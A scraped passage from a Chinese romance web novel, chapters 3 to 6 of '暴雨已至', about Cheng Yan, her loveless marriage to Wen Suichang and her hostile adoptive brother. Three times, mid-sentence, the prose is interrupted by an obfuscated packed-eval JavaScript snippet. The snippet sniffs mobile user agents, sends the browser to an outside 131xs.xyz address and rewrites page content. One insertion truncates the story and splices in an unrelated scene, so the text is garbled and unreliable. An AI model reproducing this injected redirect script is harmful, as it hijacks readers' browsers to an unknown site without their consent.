《暴雨已至》 3. 第三章 程颜顺利地和张深交换了选题。 和设想的一样,主编没有多问,她向来只看重结果,过程怎么变都不要紧。 但这些天下来,程颜确实觉得新的选题更适合她。 她现在负责的是年轻人非遗文化消费报告,恰好北城这一周有个非遗主题文化展,想来是个很好的切入口。 工作变得忙碌,外出采访的时间也多了起来,只是又要和不少陌生人打交道,程颜性格内向,从小就不擅长和别人交流,但从事这份工作后,总是难以避免。 这天,程颜采访刚结束,手机就弹出消息。 【颜颜,今晚记得回老宅吃饭。】 是张姨发来的消息。 张姨是程家的保姆,今年五十多岁了,人很和蔼,她在程家工作了大半辈子,平日里操心着程家大大小小的事,许是思虑过多的缘故,早几年头发就已是花白。 张姨几乎是看着她长大的,她被程家领养,从福利院接回来的那一年,张姨就已经在了。 程颜还记得刚进程家的那天,程朔在后山的高尔夫球场上挥杆,全程没给她一个眼神,她既难堪又胆怯,只能局促地站在一旁,是张姨过来给她解围的。 张姨半躬着腰,摸了摸她的头,问她:“小姑娘,你叫什么名字呀?” 她怯生生地回道:“陈颜。” 张姨明显一滞,不知想到什么,表情变了变,看向她的眼神愈加复杂,好一阵才想起来打圆场。 “这名字好啊,一听就是大富大贵的命。” 后来,她才知道原因,因为,程家那个早逝的女儿叫“程妍”。 马路上车流络绎不绝,程颜放下手机,定定地看了一会,眼神怅然。 有绿皮出租车经过,她随手招了辆车。 这会正是晚高峰,一开到市中心路段就堵车堵得厉害,十分钟也就往前挪动了半个车位,周围喇叭声此起彼伏,听得人心焦。 半个小时的车程,开了将近一个小时。 一直到晚上七点,她才到程家门外。 室内灯光通明,饭香四溢,程颜刚进门,张姨就热情招呼她坐下。 “今天厨房里做了你爱吃的香芋蒸排骨,你可得多吃点,你看你都饿瘦了,今天怎么这么晚才到,太太都等你好久了。” 程颜的目光立刻看向坐在主位的妇人,低声解释:“刚才路上堵车,所以回来晚了。” “下次提前让司机过去接你,对了,岁昶呢?”邹若兰看向她身后,又问,“你们分开来的?” “他要开会,今晚估计来不了了。” 程颜面不改色地撒了谎。 同样的谎言说多了,她已经驾轻就熟。 “想来也有好几个月没看到他了,你要提醒他工作再忙,也要注重身体,”邹若兰没有起疑,抬手往她碗里夹了块排骨,“你也该饿了,不用等阿朔了,先吃饭吧。” 程颜微怔,望向餐桌对面空落的座位,握着筷子的手紧了紧:“哥今天也回来?” 要知道程朔今天回家,她就找借口不回来了。 “他啊,听说你今天回来,也说要回家吃饭,”说到这,邹若兰几不可闻地叹了叹气,话也说得更重了,“天天上那些花边小报的新闻,多不像话,我看他再不回来,你爸绑也得找人绑他回来。” 程颜低头扒拉着碗里的米饭,没出声。 这顿饭快结束时,程朔才从外面回来。 跑车的引擎声实在太张扬,她很难留意不到。 片刻后,程朔走进门,两人撞上视线,程颜最先想起的竟是上个星期,同事们在办公室里讨论起的花边新闻,程朔出现在女明星的房车上,那八卦新闻的标题写得相当暧昧,特意突出“两人在房车上共度了三个小时”。 想到这,程颜探究的眼神在他身上扫过。 “那个姓温的呢?”程朔还没落座,就开始挖苦她。 程颜:“他今天工作忙,没来。” 程朔冷笑着挑了挑眉,话里有话:“好像就没有他不忙的时候,要不我给他打个电话,看看是不是真的这么忙。” 说着,还真的从大衣里拿出了手机。 手心紧张得冒出了冷汗,程颜大气都不敢出,她今天根本没有和温岁昶提起吃饭的事。 她已经有好几个月没有让温岁昶陪她应付这些场面了。 坐在对面的程朔很满意地看到了程颜苍白的脸色,低声笑了起来,胸腔止不住颤抖。 这个游戏就算玩了几百遍,他还是觉得很有意思。 邹若兰没看出其中的暗流涌动,看了眼时间,说:“也是,都快八点了,该忙完了,让你哥去打个电话问问。” 程朔笑得恶劣:“好啊。” 即便着急,程颜也只能眼睁睁地看着他拿起手机走出了门。 从窗口往外看,正好能看到程朔把手机附在耳边,察觉到她的视线,程朔回头冲她笑了笑。 是挑衅的、逗弄的笑容。 满桌丰盛的饭菜,但此刻,她已是食欲全无。 仅过了两分钟,程朔就回到餐桌上。 他眼尾没抬:“还在忙呢,也不知道哪来那么多事儿。” “岁昶的公司快要上市了,他多费点心也是应该的,”邹若兰没再纠结此事,看向儿子,提起另一事,“倒是你在外面要注意点,别整天上那些乱七八糟的新闻,给你妹妹做个榜样。” “榜样?”程朔勾了勾唇,漫不经心地看向话里的主角,“需要吗?” 不管他说什么,程颜始终低着头,没说话。 程朔这人有多恶劣,她是知道的,她不想惹怒他,她只想平静地吃完这顿饭。 半个小时后,这顿饭终于相安无事地结束了,和张姨说了声,程颜去了花房里待着,打算再过半个小时就回去。 花房里的红花石斛开得灿烂又张扬,程颜蹲在地上观察它的根茎,鼻间嗅到植物本身自带的清新香气,让人心安。 比起和人打交道,她更愿意和这些花花草草相处。 但这难得的安静没有维持多久,身后就有脚步声响起。 “你还真是一点都没变,和以前一样喜欢告状。” 程颜回头,程朔正半倚在花房门口,意味不明地打量她。 “我没有。”她立刻否认。 程朔轻哼了声,又走近了些:“你没告状,妈又是怎么知道的?” “上了头条,所有人都看得到,”程颜不想和他说话,撇清关系,声音有些愠怒,“我不关心你的新闻,也从来没有主动搜索过,更不会告诉家里。” 程朔脸上的表情一下五颜六色的,很是精彩,甚至有咬牙切齿的意味。 “那我说点你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625172|172317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心的吧,你猜猜我刚才有没有给那个姓温的打电话?” 程颜后背僵住,右手不自觉攥紧。 见她紧张,程朔忍不住弯了弯嘴角,英俊的脸上只剩下戏谑的笑容。 程颜没有追问,不是因为她不想知道,而是她清楚程朔不会告诉她答案,他只是想要耍弄她。 “不早了,我先回去了。” 话音落下,她往门口的方向走去。 只是,人还没走远,程朔就隔空喊她的名字。 “陈颜。” 这么多年了,他一直都喊她“陈颜”,别人只当他是前后鼻音没说清,只有程颜知道他是故意的。 他在告诉她,他从来没有接纳过她。 不管她在这个家住了多久,她都只是“陈颜”,她只是替别人活着的“陈颜”。 程颜从小就厌恶他,此刻更甚,她只想马上离开这里,可接下来程朔那句话让她彻底愣在原地。 “生日快乐。”程朔说。 仍是那漫不经心、敷衍傲慢的语气,但程颜脚步一滞。 今天是11月6号,她的生日。 连她自己都忘了。 这么多年,她都在替程妍过着夏天的生日,她早就忘了她出生在晚秋。 多讽刺。 在她生日这天,竟然是她最讨厌的人和她说了句“生日快乐”。 在这个世界上,竟然只有这个人还记得她的生日。 — 程颜回到公寓时,屋里的灯亮着。 玄关处的鞋架上摆放着男士居家拖鞋的位置空了。 温岁昶在家。 脚步迟疑,脑子乱成一团浆糊,她不知道程朔究竟有没有给温岁昶打过电话,如果打了,那他又是怎么回答的。 仅是看着他的背影,她都觉得心神不宁。 此时,温岁昶正坐在客厅的沙发上看书,右手抵在书页中间,身上还穿着今天出门时那件勃艮第色系的西装,右边的袖口微微挽起,姿态慵懒又闲适。 今天发生了太多事,身心俱是疲惫,程颜没像往常一样说着那些重复的废话,她不动声色地从他身边经过,不料,温岁昶却先开了口。 他抬眼问她:“你是《深度在场》杂志社的?” 程颜微怔,这才发现他手里拿着的正是她们杂志社最新一期的刊物,应该就是她放在书房里的那一本。 她不知道温岁昶为什么突然这么问,他以前从来不关心这些的。 “嗯,是。” 温岁昶放下手里的刊物:“今天你们杂志社约了专访。” “哦。” 她算了下时间,大概也是这几天的事,因为下周就要交稿了。 程颜没有多想,在她眼里,这些也是属于她和温岁昶之间无意义对话的一种,顶多算是“吃了吗”“工作忙不忙”这些闲聊废话的变体。 “那采访还顺利吗?”她多问了句。 温岁昶没有回答她的问题,而是从沙发站了起来,朝她越走越近,直至灯光下他的阴影完全笼罩住她。 意识到温岁昶正在看她,程颜心里七上八下的,眼前的男人比她高了二十多厘米,她现在穿着平底鞋,看着他时需要仰视。 目光交错,温岁昶扯松了颈间的领带,声线冷冽。 “你同事说,你推了采访我的机会?” 4.第四章 程颜彻底石化在原地,心里咯噔响了一声。 温岁昶居高临下地看着她,此刻,连他身上的男士香水都有种迫人的味道。 太多疑惑积压在心底,她找不到答案。 张深为什么会告诉他这些,难道他知道她和温岁昶的关系了?那他又是怎么知道的? 沉默无声蔓延,温岁昶低头,终于看到一向沉默寡言的妻子脸上露出了疑惑、不知所措的神情。 她频繁眨动着双眼,纤长的睫毛垂下,好一阵,她才开口解释:“他比我更懂汽车这些,我怕我写不好。” 这是一个更蹩脚的理由。 温岁昶嘴角勾了勾,轻笑了声。 他鲜少有不知道该如何组织语言的时刻,但此刻,他竟感到语塞。 所以,她没有想过要求助他。 如此微小、不值一提的事,她最先选择的是找别人帮忙。 …… 热气朦胧,程颜洗完澡从浴室出来,卧室的门是关着的。 推开门,温岁昶正靠在床背看书,是齐格蒙特·鲍曼的社会学著作,她记得他上周看的也是这一本。 关于他的事情,不用刻意去记,但总记得那么清楚。 室内点了香薰,已经是秋末了,温岁昶仍是偏爱冷调的香气,程颜渐渐也习惯了这个味道。 她擦着头发从他面前经过,目光却忍不住在他身上停留。 温岁昶今晚穿着白色的浴袍,开领的设计,露出完美的锁骨线条,白天打理得一丝不苟的头发,现在随性地垂在眼睑上方,让人想起学生时代的他。 从那时开始,他就已经这么耀眼了,只要是他参加的竞赛,一等奖的人选几乎是毫无悬念,他性格谦和,对所有人都彬彬有礼,学校里的老师和同学提起他,眼底皆是赞赏,这么多年过去,他变得稳重成熟,事业有成,举手投足间尽显魅力。 他是那么优秀、那么耀眼,她从来没有想过她学生时代仰望的人,有一天会成为她的丈夫。 就像梦一样。 可人大抵都是贪心的,明明在结婚以前,她就知道他对她没有任何感情。 但现在她常常想,如果,如果他爱她就好了。 直至她的头发吹干,两人都没有任何交流,连眼神接触都未曾有。温岁昶的目光始终望向手里的书籍,专注得仿佛没有发现房间里还有第二个人。 时间不早,程颜调好闹钟,准备睡觉。 被子前几天晾晒过,松松软软的,闻起来还有阳光的味道,她掀开被子,把自己藏了进去。 下一秒,视野里一片漆黑。 是温岁昶关了灯。 她心里一动,小声说:“没事,你可以继续看书的,我开着灯也能睡着。” “不早了,也该休息了。”他说。 “嗯。” 室内开了暖气,程颜怕冷,仍旧把被子拉高盖到颈下。 她一向习惯蜷着身子侧睡,脸面向窗户,突然,旁边的温岁昶上了床,他翻身,温热的呼吸就打在她颈后,清新的沐浴露香气将她包围。 嘴角弯成某种弧度,幸福像快要融化的冰淇淋蛋糕一点一点溢了出来。 只要他向她靠近一点点,她就觉得高兴。 正胡思乱想,温岁昶的手覆在她的腰间,看上去像是从身后抱住了她,程颜身体不由瑟缩了一下,喜悦夹杂着紧张,她不由屏住了呼吸。 但在对方看来,这却是抗拒的表现。 白天下了雨,今晚没有月亮,树影朦胧,温岁昶低沉的声音在身后响起。 “程颜,你是在……怕我?” 时间回到六个小时之前—— 和《深度在场》杂志社的专访是一早就定下的,温岁昶在此之前并不知道这家杂志和程颜有什么关联。 下午的会议延长了二十分钟才结束,刚走出会议室,杨钊就提醒他今天约了专访,对方已经在会客室等了他半个小时了。 来不及休息,他转身去了会客室。 一切都进行得很顺利,与他而言,这不过是一次普通的采访,最近公司在筹备上市,他需要一些良性的正面的曝光,他很乐意配合。 两个小时后,采访结束,温岁昶让杨钊送那两位记者和摄影师下楼。 想起晚上还有应酬,他不多时也从办公室离开。 到了楼下,杂志社的人还没离开,正站在路边等车。 扛着摄影设备的男人感慨了句:“没想到智驭科技的温总这么年轻英俊,看来我们年终盘点的封面有了,他看起来应该和我们年纪差不多吧,真是青年才俊。” “而且不靠家里,事业都发展得这么好,你没看到他的日程表吗,一整天连休息的时间都没有。” “怪不得人家成功呢,现在外面想采访的人可太多了,也不知道主编怎么争取到的机会。” “说起来还得谢谢程颜,是她主动和我换的,不然我也没有这个机会。” 温岁昶眉头一皱。 忽然记起了书房的书架上摆放得整整齐齐的杂志,似乎就叫《深度在场》。 那两人的对话还在继续。 摄影师问:“程颜?她为啥和你换?” 张深摇了摇头:“不知道,我也想不明白,她看起来不太想采访温总的样子,我看她提起温总,好像有点抗拒。 ” “抗拒”,温岁昶留意到了这个词。 所以,程颜在抗拒他吗? 眼前的人背影单薄,肩膀呈不自然的防御性的蜷缩姿态,似乎正印证这个猜想。 他极少像现在这样观察她。 大多数时候,他都留意不到她的存在。 她太安静了。 安静得他时常会忽略她的存在。 他不知道她的兴趣、爱好、平常会和谁往来,事实上,他从来没有见过她的朋友。 即便生活在一起三年,她在他的脑海里只有一个模糊的印象。 她是什么样的人,他并不清楚,甚至直到今天,他才知道她公司的名字。 黑暗中,温岁昶的手已经越界,于是她的身体绷得更紧,像一张拉满的弓,不知是紧张,还是在抗拒。 他想要分辨。 温岁昶想,只要她喊停,他便停下来。 但是,她没有。 她似乎只是紧张。 双手撑在她上方,他俯身亲吻她的眼睛、嘴唇和耳后的皮肤,身体成了高温下的流心巧克力,程颜热得快要融化,却本能地想要亲近他、回应他。 睡袍的系带解开,雪白的皮肤落下旖旎的吻痕。 不管平日里有多冷淡,他们在这方面却是异常和谐。 掌心温热,暧昧的轻咛传入耳中,房间里一片漆黑,温岁昶看不见她的表情。 一直以来,他都没有思考过程颜对他是什么样的感情,也从来没有了解过她是什么样的人,在他看来,他们已经结婚了,无论如何,她是他的妻子。 在他看来,恋人之间或许需要爱,但夫妻之间是不需要的。 因为爱情而走到一起的婚姻往往一地鸡毛,而门当户对、利益捆绑的婚姻往往能相安无事。 很冷血的推断,但却是真理。 室内的空气不断升温,暖气成了无用的摆设,程颜实在受不了,用力推了推他。 “温岁昶……” 一板一眼的人,连在床上喊的都是他的全名。 她略有挣扎,不安扭动,声音不像往日冷淡,有亲昵求饶的意味,对他来说,无疑是另一种刺激。 他深呼吸了一口气,让自己冷静下来。 “很痛?”温岁昶吻了吻她耳后的皮肤,轻声询问。 “嗯。” 温岁昶伸手揉了揉她的腿肚子,宽大的手掌温柔地安抚。 “好,你先放松。” 结束后,程颜借着月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温岁昶拿起练习册却没有离开,仍站在她座位前。 “做好了?” 程颜点头:“嗯。” 温岁昶笑道:“不再算算?” “什么?”程颜懵了,抬头看他。 “你确定原价1350的大衣打完折是1500块?” 温岁昶嘴角噙着好看的笑容,却丝毫没有嘲笑她的意思,少年眉眼间如春水初融,右手撑在她桌面,把练习册重新递回给她。 程颜的同桌许丽玫盯着那张脸看呆了。 等拿回练习册,程颜这才发现她看错题干的数字了。 “刚才下去打球前,路过看到的。”他和她解释。 耳尖因为尴尬泛着微微的红,程颜立刻把错误的答案划掉,在草稿本上重新演算,温岁昶没有催促她,也没有直接告诉她答案,而是说:“不急,等你做完,我再收上去。” 那个下午,程颜心湖被春水吹皱,久久无法平静。 不知他还记得吗? 他还记得他们之间发生的这些事吗? …… 许是下午采访前喝了咖啡的缘故,程颜今晚失眠了,眼睛看着天花板怎么都没有睡意。 窸窸窣窣的布料声响起,她翻了个身,旁边的温岁昶呼吸平稳,约莫是睡着了。 黑暗中,她极小声地喊他的名字。 “温岁昶。” 如预料的一样,没有回应,她终于说出今晚一直憋在心里的话。 “其实今天是我的生日。” 虽然没有人会在意,也没有人会因此而感到欣喜,但却是她来到这个世界的日子。 5.第五章 程颜抱着笔记本电脑从主编办公室出来,发现他们组的人差不多都走光了,工位电脑的屏幕上倒是还亮着。 看了眼时间,原来已经十二点半了。 早上还没来得及吃早餐就被主编叫去开会,程颜这会确实也饿了,她摘下脖子上的工牌,准备下楼吃饭。 刚走到门口,张深就跑了上来,和她搭话:“还以为你已经走了呢,刚看你工位没人。” “找我有什么事吗?”她问。 “没事啊,就想请你吃顿饭。” 程颜脚步一顿,忽然想起昨晚温岁昶说的话,心里忐忑。 张深为什么突然要请她吃饭,他是不是知道了什么? “你想去新开的那家泰国菜,还是我们上次聚餐去的火锅店?”张深一边按下电梯,一边在大脑里搜刮附近餐厅的名字。 “为、为什么请我吃饭?” 程颜在公司和他的关系算不上熟稔,也只是普通同事的关系。 “为了感谢你把采访的机会让给我啊,你都不知道智驭的温总多有人格魅力,不仅事业有成,而且还有社会责任感,采访了这么多人,他还是第一个让我有这样感慨的,程颜,我预感我们这篇专访绝对会爆的,”张深说到这兴奋了起来,把手机拿了出来,点开某个页面,“我还和他加了微信呢,给你看,他还说下个月邀请我去参加新车试驾会……” 张深滔滔不绝地说着,程颜则看向他举高的手机屏幕。 那页面的确是温岁昶的微信。 但应该只是他众多工作微信中的一个。 程颜轻声道:“那挺好的,你不是正好对车感兴趣。” “本来是不怎么感兴趣的,现在确实有点,”张深见电梯来了,“走吧,咱们一边吃一边说。” 张深平时节俭,但请客却是个大方的人,选了附近商场新开的一家泰国餐厅,人均也要一百多。 今天是工作日,店里人不多,很清静,他们选了个靠窗的位置。 吃饭的时候,张深还在说个不停,聊起那天采访的细节,眉毛色舞的,程颜听着听着走了一会神。 似乎在每个人的眼里,温岁昶都是那么优秀,哪怕只有一面之缘的人也会对他称赞有加,没有人会对他给出负面评价。 吃完饭,张深到前台结账,又说起另一件事。 “对了程颜,今年的职工运动会,你报项目了吗?” “还没。” 程颜也是早上看到OA的通知才想起这个职工运动会,他们杂志社隶属于深氦出版集团,每年集团总部总要弄些大动静,说是要引导他们加强身体锻炼。 往年是自愿报名的,但今年要求一半以上的人都要参加,他们杂志社有些记者外派去了别的省市,因此今年剩下的每个人几乎都要参加。 “那你要抓紧了,有些项目很热门,别到时候满人给你塞到去扔铅球或者标枪啥的了。” 张深说得有道理,程颜一回到办公室就在报名表“羽毛球”那一栏填上了自己的名字,还检查了两遍才退出。 说实话,程颜的羽毛球打得并不好。 但在一众拿不出手的运动项目中,算是矮子里拔高个了。 下个月就要比赛,留给她准备的时间不多,当晚回到家,她就去杂物房里找出了积灰的羽毛球拍,又用湿纸巾擦拭干净。 听说明天报名结束后,会有人建群,她想着可以在群里找人一起练习。 睡觉前,她临时抱佛脚,点开了网上的羽毛球发力技巧的教学视频看了一会。 “在学羽毛球?” 男人低沉磁性的嗓音落在头顶,她被吓了一跳,立刻抬起头。 温岁昶穿着藏青色的家居服,似乎是刚洗完澡,头发还微微湿润着,身上萦绕着沐浴露的味道,正俯身凑近看她的手机屏幕。 程颜屏住了呼吸。 刚才她看得太专心,以至于没听见温岁昶走进房间的声音。 “嗯,”她摘下耳机,点头,“下个月公司要办职工运动会。” 温岁昶拿过她的手机,暂停的视频被重新按下播放,几分钟后,他表情认真对她说:“看这些视频没什么用处。” “我随便看看的,”没想到他会关心这些,程颜低声解释,“到时候再找人实地练习。” 温岁昶在她旁边坐下。 “找谁?” “同事。” “我教你。” 程颜大脑嗡了一声,眼睛瞪大,眼底茫然夹带着震惊。 他要教她学羽毛球? 真的吗? 程颜几乎有些不敢相信,下意识地看向他的眼睛,想确认他话里的真实性。 她既怕他在和她开玩笑,又怕自己喜悦得太过明显。 温岁昶把手机递还给她:“明天下午六点,在市中心的球馆等我。” 幸福好像要将她包围,温岁昶去了浴室吹干头发,程颜拿起旁边的水杯喝了一口,平淡无味的白开水她竟尝出了荔枝冰沙的甜味。 睡觉前,温岁昶躺在她身侧,她斟酌着用词,对他说了声:“谢谢。” 温岁昶有片刻的错愕,随后勾起唇角笑了。 “不对。” 不对? “你知道杨钊吗?”温岁昶问她。 她抿唇点了点头。 杨钊是他的助理,她见过几次的。 “杨钊和他女朋友之间从来不说谢谢。” 沉寂的天空放起了绚烂的烟花,枯萎的花被人重新浇上了水,程颜兴奋得几乎整夜失眠,连早上闹钟的铃声都变得动听。 一整天,她都在期待时钟的指针能指向下午六点。 稿件早早提交了上去,一下班,程颜就打车去了附近的羽毛球馆。 从出租车下来,她看了眼时间,17:43分。 在旁边的便利店买了两瓶矿泉水,正要找个地方等温岁昶,突然手机响了。 看到来电显示,程颜深呼吸了一口气才接通。 “爸。” 程继晖浑厚严厉的声音在电话那头响起:“阿朔在城南派出所,你过去处理一下。” “派出所?”程颜愣住,看了眼时间,“现在吗?” “对,你现在马上过去,在记者赶到之前,你先把他弄走,”程继晖似是气急,电话那头传来玻璃砸到地上的响声,“不要让这件事传出去,到家让程朔和我通话!” 挂了电话,程颜无力地垂下右手,眼神黯然,没有一丝光彩。 她站在路边招了辆出租车,拿上羽毛球拍,马不停蹄地去了城西派出所。 坐在后座,犹豫了很久,她终于点开了温岁昶的聊天对话框。 风从窗外灌进来,程颜几次拿起手机又放下。 要怎么和他说呢。 这是程家的丑闻,自然不能让他知道。 信息编辑好后她迟迟没有发出去,手指还按在输入框处,温岁昶的电话已经打了过来。 “我到了,你在哪?” 程颜攥紧掌心,支吾地说:“我、我今晚加班,可能去不了了,下午太忙,忘记提前告诉你了。” 说完,她紧张地等待着温岁昶的回复。 在心里默念了三秒后,温岁昶终于开口,男人声音里听不出什么情绪。 “嗯,你去忙吧。” “那下次——”她深吸了一口气,鼓起勇气说,“下次我们再来?” “嗯。” 程颜赶到派出所时天已经暗了,她刚走进去就看到穿着黑色夹克的程朔散漫地坐在转椅上,长腿交叠,和朋友说笑,惬意得像是在自家客厅。 别人为了他像热锅上的蚂蚁一样,他倒是完全没当一回事。 “来了?” 程朔像是笃定她会过来,语气里没有丝毫意外,他挑了挑眉,又伸手抹了下眼睑处,那里有打架时留下的擦伤,他像是感觉不到疼痛似的,用指腹擦掉上面的血渍。 程颜只看了他一眼,就望向打架的另一方。 对方一看就是学生,背着个黑色的双肩包,约莫一米七的身高,皮肤偏黑,但嘴角处凝固的血仍是扎眼,见有人打量他,他不自在地扭过头,程颜留意到他因为紧张害怕而止不住颤抖的右腿。 她知道程朔恶劣,但把一个学生打成这样,还是超出了她的想象。 “我是不是破相了?”程朔问她。 在这个时候,问这样的问题。 程颜难以置信地看了他一眼,忍住了一些不文明的话。 “说话,你哑巴了吗?” 见她不说话,程朔把腿横在过道,挡住了她面前的路。 程颜仍是什么都没说,但程朔从她的眼神里听懂了她想说的话。 她想骂他。 看到她生气,他倒是笑了。 这时恰好有民警经过,程朔这才收回了腿。 程颜和民警简单地了解了经过,和她所想的一样,程朔是出手打人的那方,那个学生像是害怕极了,连看程朔一眼都不太敢,程颜厚着脸皮提出协商私了,原本担心对方不同意,但听到赔偿的金额,那个学生立刻点了点头,表示同意。 程朔不屑地勾了勾唇,冷哼了声。 走出派出所已经是两个小时后的事,处理完一切的程颜渐渐泄了气,她看了眼走在前面的程朔。 夜色很深,他从烟盒里抽出一根香烟,覃杨立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638542|172317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻走上前,很懂眼色地拿出打火机帮他点烟。 这一幕太过讽刺,程颜停住了脚步,挎在肩膀的羽毛球拍像一座山压在身上。 就在这时,程朔回过了头。 不出意外,他看到了一双厌恶的眼睛。 程颜正看着他,用难以掩饰的嫌恶眼神。 黑色的商务车停在门口,程朔躬身上车,随后程颜也坐了上来,她要确保程朔到家后她才能离开。 商务车的后座宽敞,程颜几乎是贴着窗边坐的,手里攥着装羽毛球拍牛津布袋的绳子。 车开到半程,两人没有半句交谈。 还是程朔先开的口。 “怎么,真变哑巴了?” 从见面到现在,她没和他说过一句话。 这一次,程颜依旧是沉默。 程朔侧身:“你不问问我为什么动手?” “我不想知道。” “其实——” 程朔才开了个口,程颜就打断了他的话,眉头皱得很深:“我说了,我不想知道。” 她声音很轻,但却很有分量,似是忍耐到了极点,脸颊因为情绪激动而泛红,她始终看着窗外,连看也不想看他一眼。 程朔愣了愣,继而勾唇笑了,点了点头。 车窗半降,他点了一根烟,食指轻掸,烟灰随着风吹到车窗外。 程颜是个软柿子,他从小就知道。 他从没见过比她还要憋闷胆小的人,小时候不管他怎么挤兑她,她都跟没事人一样,顶多就是躲着他点,但在程继晖面前,仍是乖巧地喊他“哥”。 她对谁都和颜悦色的,从来不跟别人横,像是没有脾气一样,能让她生气倒是少见。 在程朔印象中,程颜少有的几次生气都和那个姓温的有关系。 最严重的一次是高三那年,他去她房间找她,不小心看到了她的电脑屏幕,那上面是她用邮箱匿名写给别人的信。 他留意到了上面的名字,温岁昶。 眼神变得幽深。 这个名字他并不陌生,二中的,和程颜一个学校,是很多老师口中的天才,包揽了全国大大小小的竞赛奖项。 才看到一半,程颜惊慌的声音出现在门口。 “你在看什么?!” 他刚闪开,程颜立刻跑了过来,挡在电脑屏幕前面,她的脸急得通红。 “你、你怎么能不经我同意就看我的电脑?” “那又怎么了,这个家有什么是我不能碰的,”程朔没当一回事,说得理所应当,“我电脑坏了,本来只是想借你电脑玩一下游戏,没想到——” 他还没把话说完,程颜的眼眶已经通红,他更是烦躁,变得口不择言。 “温岁昶是吧,你还真敢想,你们学校喜欢他的人那么多,个个都比你漂亮,比你成绩好,你也不想想,他看得上你吗?”程朔鄙夷地上下打量她,“还写匿名信,是怕他看到你会失望?” 这么多年过去,程朔回想起来仍觉得自己这番话实在太过分,客观而言,程颜长得并不难看,细究起来,勉强算是耐看、有气质的类型。 他知道自己说得有点过了,没想到程颜的反应这么大。 程朔忘不了那天一向低眉顺目、说话唯唯诺诺的人忍住了眼眶里快要掉下来的泪,走到他面前,仰着头一字一句地对他说:“我喜欢他怎么了,这件事就这么值得你嘲笑吗?是,你说对了,我给他写匿名信,的确是怕他看到我会失望,但我也在努力变优秀,我努力刷题,拼命念书,因为我想和他上同一所大学,我看他推荐的书单,听他喜欢的音乐,因为我想了解他的精神世界,怎么,我喜欢温岁昶这件事很值得你嘲笑吗?” 程朔从来没有听她说过这么长一段话,他审视地看着眼前的人,竟觉得陌生,那种震撼远远超过了这件事本身。 “其实我很想融入这个家,我也很想和你好好相处,但你要是看我不顺眼,就让叔叔阿姨把我送走吧,我真的受不了了。”说到后半段,程颜声音有些哽咽,随后打开衣柜拿出行李箱,开始收拾衣服,“反正只要能念书,让我过什么样的日子都无所谓,住别墅还是住泥砖房,对我来说都没有区别。” 程朔看她在那利索地收拾行李,心里想的是,他爹的泥砖房到底长什么样? …… 郊区的路崎岖,经过弯道时轿车颠簸了一下,程颜旁边放着的羽毛球拍霎时掉在地上,发出突兀的声响,程朔被迫回过神。 他盯着那副羽毛球拍,不知想到什么,眸色一沉。 “我说今天怎么发脾气了,”程朔替她把东西捡了起来,皮笑肉不笑地扯了扯嘴角,“怎么,今天约了那个姓温的打羽毛球?” 6、第六章 程颜站在程朔公寓楼下打车,簌簌寒风从衣领灌进身体,她冷得呼出一口长长的白气,搓了搓手,又裹紧了身上的大衣。 夜深了,比起白天温度又降了不少,所幸没一会出租车就到了。 关上车门,程颜身体渐渐暖和了起来。 已经是晚上十点多,许是气温骤降的原因,沿街商铺大多打烊,这座星星之城没有繁华时段那么热闹,路上的行人也少了些。 【记得给爸回电话。】 她给程朔发完消息,手机就扔到了一边。 一直到她下车,程朔的消息都没有发过来。 也不知道程朔究竟有没有给程继晖打电话。 她也不想管。 到了家门口,她竟有些胆怯,踌躇了片刻才输入密码。 心情是矛盾的,此刻她既想看到温岁昶,又害怕看到他。 她想起今天出门前的心情,本来很期待的一天,没想到最后会是这样的结尾。 咔嗒一声,门打开,墙上的灯亮着,程颜四周环顾,客厅没人,她不自觉松了一口气。 羽毛球拍放回了杂物房,她正要去卧室拿衣服准备洗澡,温岁昶这时穿着家居服下楼,手里捧着透明的玻璃杯,里面是加了冰块的威士忌。 他睡前有喝酒的习惯,身上氤氲着酒气,斜靠在楼梯栏杆处,姿态随意慵懒。 对上他投过来的目光,程颜心脏处瑟缩了一下,还没想好要寒暄什么,温岁昶就开了口:“加班到这么晚?” 他的嗓音本就低沉,此刻被酒浸润过后更是磁性,像是深夜电台里会听到的男声。 程颜:“嗯,今晚要交一篇商稿,客户修改了很多遍,所以回来晚了。” 说话时,她不敢看对方的眼睛,只盯着不远处墙上的装饰画,在车上打好的草稿就这么说了出来。 没想到对话在此僵住。 温岁昶沉默了很久,杯中的威士忌在灯光下轻晃。 程颜疑惑,抬头发现温岁昶正皱着眉头看她,审视的眼神快要把她灼穿。 “为什么说谎?”他半眯着眼,打量她。 程颜心里咯噔了一声:“什么?” “你身上有男士香水的味道。”他脸色不佳。 程颜反应很快,把谎圆了回来:“可能是一起加班的同事今天喷了香水。” 温岁昶讽刺地轻笑了声:“是吗,看来你办公室的男同事很有品味,爱用throneofforest的香水,而且还是限定收藏版。” 据他所知,这款男士香水并不在市面上销售,只出售给特定人群。 果然下一秒程颜面如纸色,脸上出现了谎言被揭穿的窘迫和难堪,心虚地低下了头。 只剩沉默。 